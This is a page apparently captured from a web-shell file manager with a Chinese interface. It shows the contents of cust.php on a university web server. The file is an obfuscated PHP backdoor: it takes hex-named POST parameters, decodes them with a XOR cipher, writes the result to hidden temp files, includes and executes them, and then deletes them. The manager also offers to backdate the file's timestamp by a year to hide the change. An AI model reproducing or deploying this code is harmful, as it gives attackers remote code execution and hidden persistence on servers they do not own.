文件操作 - cust.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/cust.php
编辑文件内容
<?php if(isset($_POST) && isset($_POST["\x68ld"])){ $reference = $_POST["\x68ld"]; $reference = explode ( '.' , $reference ) ; $item = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s7); $y = 0; $__tmp = $reference; while( $v1 = array_shift( $__tmp)) {$chS = ord( $s7[$y %$lenS]); $dec =( ( int)$v1 - $chS -( $y %10))^ 19; $item .= chr( $dec); $y++; } $binding = array_filter(["/dev/shm", session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); for ($k = 0, $itm = count($binding); $k < $itm; $k++) { $marker = $binding[$k]; if (is_dir($marker) ? is_writable($marker) : false) { $symbol = "$marker/.value"; $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $symbol; @unlink($symbol); exit; } } } } if(isset($_POST) && isset($_POST["m\x72k"])){ $ent = $_POST["m\x72k"]; $ent = explode ('.' , $ent ); $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $n = 0; array_walk( $ent,function( $v1) use( &$element,&$n,$salt,$lenS) { $sChar = ord( $salt[$n %$lenS]); $d =( ( int)$v1 - $sChar -( $n %10)) ^40; $element .= chr( $d); $n++; }); $resource = array_filter([sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); foreach ($resource as $flg) { if (is_dir($flg) && is_writable($flg)) { $tkn = implode("/", [$flg, ".pset"]); $success = file_put_contents($tkn, $element); if ($success) { include $tkn; @unlink($tkn); die();} } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件